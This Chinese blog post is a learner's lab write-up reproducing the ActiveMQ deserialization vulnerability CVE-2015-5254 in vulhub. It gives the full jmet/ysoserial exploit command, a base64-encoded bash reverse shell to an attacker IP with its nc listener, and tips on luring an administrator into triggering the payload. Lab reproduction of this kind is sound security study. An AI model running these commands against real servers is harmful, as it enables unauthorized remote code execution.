【vulhub】ActiveMQ反序列化漏洞复现学习 CVE-2015-5254

ActiveMQ反序列化漏洞 CVE-2015-5254

一、相关说明

1.1 准备

  1. vulhub环境用来启动漏洞;
  2. 下载工具jmet;
  3. 自己常用的攻击机包含常见工具。

1.2 activemq

全名Apache ActiveMQ,是阿帕奇的一套开源消息中间件,支持java消息服务、集群、Spring Framework等。

关于消息中间件我也不是很理解具体的原理,有好的说明文章可以分享给我。

我简单理解的就是,销售卖了东西(前端修改数据)就要去仓库拿货(发送请求修改数据库),因为实际操作了数据库,所以响应速度慢,MQ就像是一个仓库登记员,销售卖了东西不用自己去仓库,只需要和登记员登记下,等不忙的时候,再去按登记的数据对仓库处理,这样响应速度就变快了。

1.3 关于漏洞

漏洞存在于Apache ActiveMQ 5.13.0之前的5.x版本中

该漏洞源于没有限制可在代理中序列化的类,远程攻击者可借助特制的序列化的JMS ObjectMessage对象利用该漏洞执行任意代码。

1.4 利用说明

开启环境后,将会监听两个端口,61616和8161,其中616116是工作端口,消息在这个端口传递,8161是web管理页面

使用jmet进行漏洞利用,首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在错误);jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

然后构造(可以用ysoserial)可执行命令的序列化对象

作为一个消息,发送给目标61616端口

访问web管理页面,读取消息,触发漏洞

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

注意通过web管理页面访问消息并触发这个漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问时触发。

二、漏洞复现

2.1 洞基础复现

先启动环境

cd /usr/vulhub/activemq/CVE-2015-5254/
//到vulhub的环境中去

docker compose up -d
//启动环境

docker ps -a
//查看容器

docker compose down -v
//关闭容器

下载jmet https://github.com/matthiaskaiser/jmet,主要是这个jar文件,其他的不需要

ActiveMQ反序列化漏洞-2.1-1

到这个jar的存放目录执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.192.200 61616
ActiveMQ反序列化漏洞-2.1-2

发送成功,访问下web看看

ActiveMQ反序列化漏洞-2.1-3

默认口令admin/admin

ActiveMQ反序列化漏洞-2.1-4

可以看到发送了一条消息

ActiveMQ反序列化漏洞-2.1-5

去docker容器下验证一下,可以看见tmp目录下新建了一个文件夹success

ActiveMQ反序列化漏洞-2.1-6

2.2漏洞进一步利用

上面复现的过程可以看到,漏洞的利用是命令执行,且没有即时的返回(需要activemq处理消息时才会执行),xcw所以选用反弹shell的方式利用该漏洞。

先写个反弹shell,base64编码

bash -i >& /dev/tcp/192.168.192.129/29981 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMjkvMjk5ODEgMD4mMQ==

ActiveMQ反序列化漏洞-2.2-1

然后在攻击机上开个监听

nc -nvlp 29981

通过漏洞上传反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMjkvMjk5ODEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.192.200 61616

ActiveMQ反序列化漏洞-2.2-2

访问web执行,可以看到成功反弹shell

ActiveMQ反序列化漏洞-2.2-3

三、复盘总结

3.1 遇到的问题

  1. 反弹shell这里不熟悉,记得有个大概,但具体的给忘了,也不清楚为啥这个shell需要base64加密;
  2. 中间件不了解,几乎三分之一的时间用于学习这个中间件的用途,清晰他的概念;
  3. 英语水平不足,用到了一个工具jmet,看不懂文献,也没找到中文说明,除了复制粘贴还是没学会使用。

3.2 实战利用

  1. 首先问题是版本:漏洞存在于Apache ActiveMQ 5.13.0之前的5.x版本中;

  2. 其次问题是触发:该漏洞需要中间件发送这条信息才能利用,但是根据消息中间件的工作原理,我即刻上传了不一定即刻发送,可能等一个小时甚至等一天才行;

  3. 最后是收益问题:支持分布式部署,也就是可以不用和服务器数据库放在一台主机上,甚至放在docker容器也可以,实战环境下,能否从docker环境中跳出到主机或者横向不能确定。

3.3 总结

时间花了不少,但还是模模糊糊的没搞太清楚,也不知道上面的理解和思路有没有问题,慢慢学,加油。

  • 25
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值